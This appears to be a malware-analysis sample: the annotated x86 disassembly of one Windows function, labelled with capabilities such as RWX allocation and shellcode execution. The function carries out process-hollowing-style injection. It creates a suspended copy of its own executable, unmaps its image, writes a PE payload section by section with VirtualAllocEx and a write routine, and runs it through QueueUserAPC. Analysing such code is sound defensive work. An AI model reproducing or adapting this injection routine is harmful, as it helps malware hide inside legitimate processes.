Function at 0x4011b0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.004045b0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x274], eax
mov ecx, dword [ebp - 0x274]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x401436
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x268], ecx
mov edx, dword [ebp - 0x268]
cmp dword [edx], 0x4550
jne 0x401436
xor eax, eax
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x258], eax
push 0x44
push 0
lea ecx, [ebp - 0x254]
push ecx
call fcn.004045b0
add esp, 0xc
mov edx, dword [0x4130d0]
push edx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.004014b0
add esp, 8
mov dword [0x413e6c], eax
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x254]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x20c]
push edx
call dword [0x413e6c]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x268]
cmp eax, dword [ecx + 0x34]
jne 0x4012f8
mov edx, dword [0x4130d4]
push edx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.004014b0
add esp, 8
mov dword [0x413e68], eax
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp - 0x264]
push edx
call dword [0x413e68]
mov dword [ebp - 0x210], 0
push 0x40
push 0x3000
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x268]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x27c], eax
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp - 0x264]
push edx
call dword [0x413e70]
mov eax, dword [ebp - 0x268]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0x268]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], 0
jmp 0x401391
mov ecx, dword [ebp - 0x26c]
add ecx, 1
mov dword [ebp - 0x26c], ecx
mov edx, dword [ebp - 0x268]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x26c], eax
jge 0x4013fb
lea ecx, [ebp - 0x210]
push ecx
imul edx, dword [ebp - 0x26c], 0x28
mov eax, dword [ebp - 0x270]
mov ecx, dword [eax + edx + 0x10]
push ecx
imul edx, dword [ebp - 0x26c], 0x28
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
imul edx, dword [ebp - 0x26c], 0x28
mov eax, dword [ebp - 0x268]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x270]
add ecx, dword [eax + edx + 0xc]
push ecx
mov ecx, dword [ebp - 0x264]
push ecx
call dword [0x413e70]
jmp 0x401382
mov edx, dword [ebp - 0x268]
mov eax, dword [edx + 0x34]
mov ecx, dword [ebp - 0x268]
add eax, dword [ecx + 0x28]
mov dword [ebp - 0x278], eax
push 0
mov edx, dword [ebp - 0x260]
push edx
mov eax, dword [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, dword [ebp - 0x260]
push ecx
call dword [0x413e74]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040191b
mov esp, ebp
pop ebp
ret